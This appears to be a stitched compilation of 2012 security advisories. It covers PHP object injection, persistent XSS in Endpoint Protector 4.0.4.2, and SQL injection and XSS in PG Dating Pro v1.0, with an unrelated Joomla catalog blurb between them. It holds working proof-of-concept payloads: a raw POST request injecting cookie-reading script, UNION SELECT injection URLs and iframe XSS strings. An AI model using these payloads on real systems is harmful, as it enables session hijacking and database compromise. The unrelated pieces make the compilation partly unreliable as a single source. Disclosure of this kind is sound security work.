The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file.

Endpoint Protector v4.0.4.2 Multiple Persistent XSS
Endpoint Protector v4.0.4.2 Multiple Persistent XSS açığı bulunmuş olup, açık bulucunun açık hakkındaki açıklamaları;
Advisory Name: Multiple Persistent Cross-Site Scripting (XSS) in Endpoint Protector Internal Cybsec Advisory Id: 2012-1029-Multiple Persistent XSS in Endpoint Protector Vulnerability Class: Permanent Cross-Site Scripting (XSS) Release Date: 10/29/2012 Affected Applications: Endpoint Protector v4.0.4.2; other versions may also be affected. Affected Platforms: Any running Endpoint Protector v4.0.4.2 Local / Remote: Remote Severity: High � CVSS: 5.8 (AV:N/AC:M/Au:NR/C:N/I:P/A:P) Researcher: Juan Manuel Garcia Vendor Status: Acknowedged / Unpatched Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf Vulnerability Description: Multiple Persistent Cross-Site vulnerabilities were found in Endpoint Protector v4.0.4.2 [Virtual Appliance], because the application fails to sanitize the response before it is returned to the user. This can be exploited to execute arbitrary script and HTML code in a user's browser session. This may allow the attacker to steal the user's cookie and to launch further attacks. The parameters "client_device[name]" and "client_device[description]" in /index.php/clientdevice/create are not properly sanitized. The parameters "client_machine[name]", "client_machine[domain]","client_machine[workgroup]" and "client_machine[location]" in /index.php/clientmachine/create are not properly sanitized. The parameter "group[name]" in /index.php/mgroup/create is not properly sanitized. Other parameters might also be affected. Proof of Concept: * The parameter "client_device[name]" in the POST request has been set to: <script>alert(document.cookie)</script> * The parameter "client_device[description]" in the POST request has been set to: <script>alert(1)</script> POST /index.php/clientdevice/create HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: https://xxx.xxx.xxx.xxx/index.php/ Cookie: place=clientdevice; mark=clientdevice; ratool=d4d3242c4444254d035b7f797738837e Content-Type: multipart/form-data; boundary=--------------------------- 17723440641777718806882422624 Content-Length: 1131 -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="id" -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[department_id]" 1 -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[device_type_id]" 1 -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[name]" <script>alert(document.cookie)</script> -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[description]" <script>alert(1)</script> -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[vid]" -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[pid]" -----------------------------17723440641777718806882422624 Content-Disposition: form-data; name="client_device[serialno]" -----------------------------17723440641777718806882422624-- Impact: An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application. In this particular case, any user with permission to access the administration console could gain "super admin" privileges by stealing the session cookie of another user with this permission.

Descripcion:
Spider Catalog for Joomla! is a convenient tool for organizing the products represented on your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes it easier for the customers to search and identify the needed products within the catalog. It is possible to add an unlimited number of parameters for each of the categories in the catalog in order to allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can be accompanied with an image. Customers are provided with the possibility of rating the products available on the catalog, as well as writing customer reviews that will appear under the catalog products. Spider Catalog provides you with a high level of customization concerning almost all the aspects of the catalog, ranging from background colors and text size inside the product cell to the number of products in the row and the number of customer reviews per catalog page.

Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in PG Dating Pro v1.0 CMS.
Report-Timeline:
================
2012-10-29: Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
Critical
Details:
========
1.1
A remote SQL Injection vulnerability is detected in the PG Dating Pro v1.0 CMS, turnkey PHP dating software to start internet dating service.
The vulnerability allows an attacker (remote) or local low privileged user account to execute a SQL commands on the affected application dbms.
The sql injection vulnerability is located in events.php file with the bound vulnerable id_event parameter. Successful exploitation of the
vulnerability results in dbms & application compromise. Exploitation requires no user interaction & without privileged user account.
Vulnerable File(s):
[ ] events.php
Vulnerable Module(s):
[ ] edit_event
Vulnerable Parameter(s):
[ ] id_event
1.2
Multiple persistent input validation vulnerabilities are detected in the PG Dating Pro v1.0 CMS, turnkey PHP dating software to start internet dating service.
The bugs allow remote attackers to implement/inject own malicious script code on the application side (persistent). The persistent vulnerabilities are located
in the shoutbox, edit questions modules with the bound vulnerable message and title. Successful exploitation of the vulnerability can lead to session hijacking
(manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action & privileged web application user account.
Vulnerable Module(s):
[ ] Shoutbox
[ ] admin -> Questions & Answers
Vulnerable Parameter(s):
[ ] the message we write in the shout box
[ ] title
Proof of Concept:
=================
1.1
The SQL injection vulnerability can be exploited by remote attackers without user inter action. For demonstration or reproduce ...
PoC:
<html><head><body>
<title>Download</title>
1<iframe src=http://datingpro.127.0.0.1:5723/dating/events.php?sel=edit_event&id_event=5
union Select 1,2,3,4,5,6,7,8,9,10,11,version(),13,14,15,16,17,18-- - width="1000" height="800">
<br>
2<iframe src=http://datingpro.127.0.0.1:5723/dating/events.php?sel=edit_event&id_event=5
union Select 1,2,3,4,5,6,7,8,9,10,11,()database(),13,14,15,16,17,18-- - width="1000" height="800">
</body></head><html>
1.2
The persistent input validation vulnerabilities can be exploited by remote attackers with low or medium required user inter action
& low privileged user account. For demonstration or reproduce ...
1.2.1
The attacker can post a message in the shoutbox with injecting a malicious code i.e.,
>"<iframe src=http://www.vulnerability-lab.com onload=alert("VL")</iframe>
When the admin or any user view anypage where the shoutbox is displayed the code gets executed.
1.2.2
If an attacker has admin rights he can inject all users by posting a question and editing it is title to have a malicious code,
such as >"<iframe src=http://www.vulnerability-lab.com onload=alert("VL")</iframe>
Risk:
=====
1.1
The security risk of the remote SQL Injection vulnerability is estimated as critical.
1.2
The security risk of the persistent input validation vulnerabilities are estimated as medium( ).
